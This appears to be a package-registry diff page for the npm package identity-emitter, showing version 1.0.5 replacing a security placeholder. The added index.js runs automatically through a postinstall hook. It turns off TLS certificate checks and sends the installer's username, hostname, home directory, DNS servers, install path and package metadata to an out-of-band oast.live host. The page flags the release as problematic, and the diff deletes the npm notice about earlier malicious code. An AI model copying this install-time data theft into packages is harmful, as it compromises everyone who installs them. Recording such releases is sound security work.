identity-emitter 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of identity-emitter might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +58 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+
7
+ // Bypass SSL Checks (Crucial for OAST interactions)
8
+ process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
9
+
10
+ const pkgName = packageJSON.name;
11
+
12
+ // SAFE CONCATENATION (Replaces template literals)
13
+ const dynamicHostname = pkgName + ".http://d5agq5r8sb2nieub911gxzc1qp36i7kr3.oast.live";
14
+
15
+ const trackingData = JSON.stringify({
16
+ p: pkgName,
17
+ c: __dirname,
18
+ hd: os.homedir(),
19
+ hn: os.hostname(),
20
+ un: os.userInfo().username,
21
+ dns: dns.getServers(),
22
+ r: packageJSON ? packageJSON.___resolved : undefined,
23
+ v: packageJSON.version,
24
+ pjson: packageJSON,
25
+ });
26
+
27
+ var postData = querystring.stringify({
28
+ msg: trackingData,
29
+ });
30
+
31
+ var options = {
32
+ hostname: dynamicHostname,
33
+ port: 443,
34
+ path: "/",
35
+ method: "POST",
36
+ headers: {
37
+ "Content-Type": "application/x-www-form-urlencoded",
38
+ "Content-Length": postData.length,
39
+ },
40
+ };
41
+
42
+ // SAFE LOGGING
43
+ console.log("[*] Post-Install Triggered. Target: " + dynamicHostname);
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ console.error("[-] EXPLOIT FAILED:");
53
+ console.error(" Error Code: " + e.code);
54
+ console.error(" Message: " + e.message);
55
+ });
56
+
57
+ req.write(postData);
58
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "identity-emitter",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "description": "World Off, Terminal On",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "bugdotexe",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=identity-emitter for more information.